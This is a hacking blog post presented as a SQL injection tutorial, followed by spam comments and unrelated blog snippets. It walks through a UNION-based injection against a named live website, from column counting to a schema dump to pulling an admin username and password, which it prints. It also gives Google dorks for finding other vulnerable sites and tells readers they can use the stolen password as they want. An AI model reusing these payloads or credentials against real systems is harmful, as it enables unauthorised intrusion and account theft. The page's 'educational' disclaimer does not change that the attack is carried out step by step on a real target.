Skip to main content

SQL Injection : Ultimate method for Website Hacking.


SQL Injection : Ultimate method for Website Hacking.0

h4ckfreak | 12:00 AM |

SQL Injection : Ultimate method for Website Hacking.

I just found a good security expert  (Nishant Soni) in ORKUT, He is going to teach you about SQL Injection, Sniffing, Trojans and many more topics. Hope you enjoy them.
Welcome to my very first tutorial for  SQL Injection on Genius hackers. SQL Injection basically means to execute a query in the database which is connected to the website to get personal information out of it, which is not visible to a normal user. Database is most likely to be a part of the websites, which saves all the information like user names, passwords, posts, replies in it. So there is a possibility that you might put some commands or queries or requests whatever you want to call it into the database to get some hidden information out of it.
It is noticed that in the past SQL Injection have been used several times to steal the credit card information, E-mail address and passwords, because most of the users have same E-mail address and passwords into all of their E-mail accounts. So if you manage to hack one of the accounts, you may just get access to all of their accounts. SQL Injection is most likely used by the “Penetration Testers”to check if the website of their clients are vulnerable to some kind of attacks to steal the information. Here, in this article I will show you how do they do it. There are some simple terms expected out of you and one of them is that you understand the basic knowledge of the computer. This tutorial will let you know, how to start? where to stop? what to do? and if you have any further queries you can post them here and i will help you to work with it.
PLEASE REMEMBER: Nishant Soni or Genius Hackers take no responsibility of whatsoever damaged is made by you by this knowledge. This is just for the educational purposes so you can secure your own website.
I will divide this tutorial into some points so it can help you in a better way to understand the structure of the SQL Database which is working at the backend of the website to store, save and execute the information.
I will use a LIVE website in this tutorial, so you can try to test it on your own and believe me it really helps to develop your skills.
The website that I will use today is www[dot]rfidupdate[dot]com.
To understand what is an SQL Database, the very simple thing i can explain to you is the “website where you can register, login or create your own profile. Because it will save the data you input into your profile and will execute / display them whenever you provide the correct username or the password. So in the same way the website i mentioned above will give you a chance to be a part of it, it will update you daily about respective news.
1. How to check if the website is vulnerable to SQL Injection?
A: 
On most of the website i read people saying that try to add “`” at the end [without quotes], and if you get some error that means that the website is vulnerable to SQL Injection. But being an experienced guy in the penetration, i’d rather tell you that this is a TOTAL MYTH. The best way to check the site vulnerability is to add “+order+by+6753″ at the end of the URL. Because, 97% of the websites don’t have more then 6753. columns. So by adding 6753 number, you will check if it has 6753 columns, which it apperatenly doesn’t have. So it will give you an error, and if it does that means that the WEBSITE IS VULNERABLE. It is generally noticed that a website doesn’t have more than 100 columns at the most in its database. So by entering the number 6753, you are trying to make it sure if the website gives you an error with it. IF it does that means you can proceed further. To check an SQL Injection, its mandatory that the website should be pointing it self to some specific page, i.e. “website.com/index.php?page=11″. So in this case the website is pointing it self to page Number.11 to pull up some specific information. So, to check if the website is vulnerable or not, you can try with the following URL. i.e. “website.com/index.php?page=11+order+by+6753″.
2. How would i find the vulnerable websites?
A.: Google is the best friend of Hackers
, when I say this don’t assume that i am just writing it because i am supposed it. I really mean it. There is something called as “google dorks”, which are basically a command which could be put into the Google search to find out specific groups of pages.
here are some Google dorks which you may try to find out the vulnerable websites.
a. inurl:index.php?page=
b. inurl:members.php?member=
c. inurl:index.php?id=
d. inurl:articles.php?page=
 
This will help you to find out the websites which are connected and working with SQL Databases at the backend. Some of them might be vulnerable to SQL Injection. So you can try to put “order+by+6753″ at the end of the URL to check if its vulnerable.
Step 1 : Finding Vulnerable Page. 
Lets start, as you’ll know the website that i will test today is www.RfidUpdate.com. So lets open up the website in the browser. So just a little information about website, RFID means “radio frequency identification”. So on the right hand side you will see that it gives you an opportunity to subscribe to the website. So now it should give you an idea that when you subscribe to it, there has to be a place where your E-mail address should be saved, so it has to have a database! So, now we know that the website is supported by an SQL Database at the backend. So we are on the right track.
As I have written earlier, in order to perform an SQL Injection we will have to find a page that has “something.php?id=2121″ at the end of the URL, so we will try to find such page on RfidUpdate.com. I have found a page by exploring the website a bit. The URL of the page is,
http://www.rfidupdate.com/articles/index.php?id=1563
Image 1: SQL Injection (Click to enlarge )
Image 1: SQL Injection (Click to enlarge )
So now, we know it has an SQL Database and we have the apge where we can start with.
So lets try to check if the website is vulnerable to SQL Attack, we will try to add “+order+by+6753–” as i have written earlier.
http://www.rfidupdate.com/articles/index.php?id=1563+order+by+6753–
Now, you should have noticed an error, which says :
“Error 1054: Unknown column ‘6753′ in ‘order clause’”
 
So, It means that the database gave u a message saying “there is no such column”. So error doesn’t really make any difference, but the main thing we should notice is that the database communicated with us directly. So there is a possibility that we can exploit it.
Step 2 : Finding Number of Columns.
Now, the next thing we will try is to find the out many columns do this page have. So now, instead of “6753″, we will start from number 1 then 5 then 15, we will keep doing this unless we get some error. So, try the following url.
http://www.rfidupdate.com/articles/index.php?id=1563+order+by+1–
The webpage opened up fine, which means that the website has more then 1 column, now try number 5.
http://www.rfidupdate.com/articles/index.php?id=1563+order+by+5–
Same thing, now try 10.
http://www.rfidupdate.com/articles/index.php?id=1563+order+by+10–
Still no error, try 15.
http://www.rfidupdate.com/articles/index.php?id=1563+order+by+15–
Still no error :( , try 20.
http://www.rfidupdate.com/articles/index.php?id=1563+order+by+20--
WHOA!, We got the error, which means that the number of columns in the webpage is between 15 to 20. So lets try with number “16″ now.
http://www.rfidupdate.com/articles/index.php?id=1563+order+by+16–
YAY!, you got the error on number “16″ as well. Which means, that the website has 15 columns. So now lets move further.
Step 3 : Using “Union Select All” Command.
Now, we will try to combine all the columns and we will see what do we get, the command goes as follow:-
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–
Image 2: SQL Injection (Click to enlarge )
Image 2: SQL Injection (Click to enlarge )
FYI:- please notice tha ti have added “-” before 1563.
Now you see some broken things in there, and now you see that the only indipendent number of column you see on the website is “7″. So apperantly that would be the base of the attack. Everything we do now, would be done with the column number “7″.
So we wil ltry to find the some more information about the DATABASE this website is using, so to do this we can replace the column number 7 with “@@version“, without quotes ofcourse. So try this now.
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15–
Image 3: SQL Injection (Click to enlarge )
Image 3: SQL Injection (Click to enlarge )
This is what you should see now,
5.0.67-community
Which means, that the website is using SQL Version > 5.  Now, try following URL to move further.
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15+from%20information_schema.tables%20where%20table_Schema=database%20()–
Image 1: SQL Injection (Click to enlarge)
Image 4: SQL Injection (Click to enlarge)
Here, we have replaced No.7 column with “group_concat(table_name)” and we have added “from information_schema.tables where table_Schema=database ()” at the end. Which  are basically the standard commands for SQL, to get the further information from the specific column.
YAY! You should have already noticed that the name of the further columns have appeared in the list and one of them is “ru_Admin”. Thats what we are looking for. Since we have the column for admin now, we will try to find out the username and password out of it. So let try following URL into the address bar.
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(column_name),8,9,10,11,12,13,14,15+from%20information_schema.columns%20where%20table_Schema=database%20()–
The only thing we’ve changed here is the “tables” to “columns”, and you should see all the information about the admin’s tables now which should look something like following.
“ru_Admin_Username,ru_Admin_Password”
So we see, we might be able to crack the username as well as the password. In order to see the information inside the username and the password column lets put following URL:
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(ru_Admin_username,0×3a,ru_Admin_password),8,9,10,11,12,13,14,15+from%20ru_Admin–
What we did is, to replace the columns names with admin_username & admin_password, and call it from ru_Admin column at the end.
Image 5: SQL Injection (Click to enlarge )
Image 5: SQL Injection (Click to enlarge )

VOILA! What you’re looking at right now the “admin” username and the password in following format.
username : password.
admin:admRIvuxHahkQ
FYI: Wherever you see “%20″ in the URL, that means a SPACE in the address bar.
So you have the password now, you can use it the way you want!.
So this the way to perform an SQL Injection attack. You may try your own stuffs with the google dorks i posted in the beginning. Use it the way you want, just keep in mind that if u know 80/100, there are people out there who know 90/100. So better secure your self first, and try these attacks with the permission of the site owners.
Thank you all for reading this tutorial, I am sure it helped. If there are any more questions feel free to revert back to the same post.
Enjoy Ethical hacking

Comments

Anonymous said…
It is appropriate time to make a few plans for the
longer term and it is time to be happy. I have learn this publish and if I could I want to counsel you
some fascinating issues or advice. Perhaps you could write next articles relating to this article.
I desire to read more things approximately it!

my page :: social media and reputation management
Anonymous said…
Pretty paгt оf сontent. І simply stumblеԁ upon yоuг web site and in accession cаpital to clаіm that I acquirе in fact enjoуеd acсount your blog posts.
Any way I'll be subscribing on your augment or even I fulfillment you get entry to persistently rapidly.

Check out my weblog :: Arjun Kanuri
Anonymous said…
How can I drive more traffic to my railroad blog?
Whenever I go on my computer after a few minutes (I'd say about 5) it just restarts for some reason. I've tried to restore my computer but can't because it will restart before it finishes. How can i stop the restarting or reatore my computer when this is happening Someone please help.


http://www.jsgygs.gov.cn/index.asp
http://www.ljhome.net/home.php?mod=space&uid=45935
http://el49994239.ueuo.com/read.php?tid=109737
http://hijuan.com/?p=111
http://www.terriblesmarktwain.com/blog/category-2/some-post-title-goes-here?page=648#comment-214525
http://wzhk.ulmb.com/phpwind/read.php?tid=2764801
http://www.fsc.yorku.ca/york/cst/wiki/index.php/User:Xiao0wyang#Fill_in_the_blank__The_Hunter_Boots_Halle_Leather
http://www.xtdzr.com/bbs/home.php?mod=space&uid=43989
http://www.460o.com/thread-477725-1-1.html
http://tg1257.s5.lscnc.com/forum.php?mod=viewthread&tid=256550
Unknown said…
[url=http://www.frenchtv.to]FrenchTV [/url]
FrenchTV la Tv francaise sans frontière, toute la TNT enfin disponible a votre fuseaux horaire.
Anonymous said…
Hello, you used to write great, but the last few posts
have been kinda boring... I miss your tremendous writings.

Past several posts are just a little bit out of track!
come on!
Anonymous said…
Awsome article and right to the point. I am not sure if this is truly the best place to ask but do you folks have any ideea where to hire
some professional writers? Thanks :)
Anonymous said…
Thanks very interesting blog!
Anonymous said…
hello there and thank you for your information - I've definitely picked
up anything new from right here. I did however expertise several technical
points using this website, since I experienced to reload the site
a lot of times previous to I could get it to load properly.
I had been wondering if your hosting is OK? Not that I'm complaining, but sluggish loading instances
times will very frequently affect your placement in google and could damage your high-quality score if ads
and marketing with Adwords. Well I am adding this RSS to my
e-mail and could look out for much more of your respective intriguing content.
Make sure you update this again very soon..
Anonymous said…
I genuinely prize your piece of work, Great post.
Anonymous said…
Hello.This article was extremely interesting, particularly because I was browsing for thoughts on this issue last week.
Anonymous said…
I'm extremely inspired along with your writing talents
and also with the layout in your weblog. Is that this a paid subject or did you customize it your self?
Either way keep up the nice quality writing, it is rare to see a nice blog like this one nowadays.
Anonymous said…
Perfectly composed written content, appreciate it for entropy.
Anonymous said…
bookmarked!!, I love your website!
Anonymous said…
An interesting discussion is worth comment. I do believe that you should write more on this subject matter, it might not be a taboo matter
but generally people don't talk about these
issues. To the next! All the best!!
Anonymous said…
Regards for helping out, excellent info.
Anonymous said…
That is a great tip particularly to those new to the blogosphere.
Brief but very accurate information... Appreciate your sharing this one.
A must read article!
Anonymous said…
Great work! This is the kind of info that should be shared across the internet.
Disgrace on Google for now not positioning this publish upper!
Come on over and visit my web site . Thank you =)
Anonymous said…
I have been exploring for a little bit for any high-quality articles or
weblog posts on this sort of space . Exploring in Yahoo
I eventually stumbled upon this web site. Reading this information So i'm glad to express that
I've a very excellent uncanny feeling I discovered just what I needed.
I most for sure will make sure to don't omit this web site and provides it a
glance on a relentless basis.
Anonymous said…
Some genuinely interesting info, well written and broadly
user pleasant.
Anonymous said…
Wow, superb weblog structure! How lengthy have you ever been running a blog for?
you make blogging look easy. The overall glance of your site is magnificent, as smartly
as the content material!
Anonymous said…
you are in point of fact a excellent webmaster. The website loading pace is amazing.
It seems that you are doing any distinctive trick.

Moreover, The contents are masterwork. you have performed
a excellent process in this matter!
Anonymous said…
After looking into a handful of the blog posts on your website,
I honestly appreciate your way of blogging. I book-marked it to my bookmark website list and will be
checking back in the near future. Take a look at my web site as well and tell me what you think.
Anonymous said…
I could not resist commenting. Well written!
Anonymous said…
Hey there I am so delighted I foujd your site, I really found you by
mistake, hile I was browsing on Bing for something else, Anyhow I am here now and would just like to say cheers for
a remarkable post and a all round interesting blog (I also love the theme/design),
I don't have time to look over it all at the minute but I have bookmarked it and also included your RSS
feeds, so when I have time I will be back to read a lot more,
Please do keep up the awesome job.
Anonymous said…
What's up i am kavin, its my first occasion to commenting anywhere, when i read this piece of writing i thought
i could also make comment due to this brilliant piece of writing.
Anonymous said…
This piece of writing gives clear idea in support of the new
people of blogging, that genuinely how to do blogging and site-building.
Anonymous said…
I conceive other website owners should take this website as
an example, very clean and excellent user
genial design and style.
Anonymous said…
I really appreciate your help. This exta slice of advice will be implemented.
Anonymous said…
Hiya, I'm really glad I have found this info.
Nowadays bloggers publish just about gossips and net and this is really frustrating.

A good site with exciting content, that's what I need.
Thank you for keeping this web site, I will be visiting it.
Do you do newsletters? Can't find it.
Anonymous said…
I discovered your website accidentally but i'm pleased i'm here.

Great things i'm reading.
Anonymous said…
Superb article, we will use this on our very own blog site.
Nice one for sharing.
Anonymous said…
Thank you many thanks many thanks!
Anonymous said…
Great advice in this article. I’ll foocus on executing more of some off this.
Thank You for the advice.
Anonymous said…
I don't even know the way I ended up right here, but I thought this submit
was great. I do not recognize who you're however certainly you are going to a famous blogger if you happen tto aren't
already ;) Cheers!
Anonymous said…
It's hard too find well-informed people for this subject, however, you sound like you know what you're talking about!
Thanks
Anonymous said…
Thank you, I've recently been searching for information about this subject ffor a long tine and yours is the best I
have came upon till now. But, hat about the conclusion? Are you
positive in regards to the source?

Popular posts from this blog

Proxy list

* http://www.proxy4free.com * http://www.publicproxyservers.com * http://www.anonymitychecker.com * http://www.proxz.com * http://www.digitalcybersoft.com/ProxyList/ * http://www.checker.freeproxy.ru * http://tools.rosinstrument.com/proxy/ * http://www.samair.ru/proxy/ * http://www.multiproxy.org/anon_proxy.htm * http://www.atomintersoft.com/product...xy/proxy-list/ [/b]

know ur ip

http://whatismyipaddress.com/ by this u can know ur ip in ur mobile also try so do u want to hide ur ip then make use of proxy server ( a mask to ur ip) for pc's ----- use Tor browsers best in my view     try this  http://www.softpedia.com/get/Security/Security-Related/Tor-Browser.shtml for mobiles ----- use proxy i think some wat risky
Best APM Tools In 2021 Here are the complete details of the most popular Website and Application Performance Monitoring APM Tools. #1) Traceview Earlier it was known as Tracelytics which was acquired by AppNeta and now it is a part of SolarWinds. Traceview SolarWinds was found in 1999 with its headquarter in Texas, USA. More than 150 employees are working here and it has revenue of $429 million. It is an Application Performance Monitoring tool for web applications. It provides a deep insight into the application, better end-user experience, and is a very cost-effective performance monitoring tool. Key Features: Traceview supports Java, .NET, PHP, Ruby, Python, etc. It monitors, web applications and SaaS applications. Traceview supports a detailed level of code-level performance monitoring. It fixes the problem with a real user monitoring system. It supports online as well as email and phone support. => Download Free #2) eG Innovations eG Innovations Logo eG Innovations is an i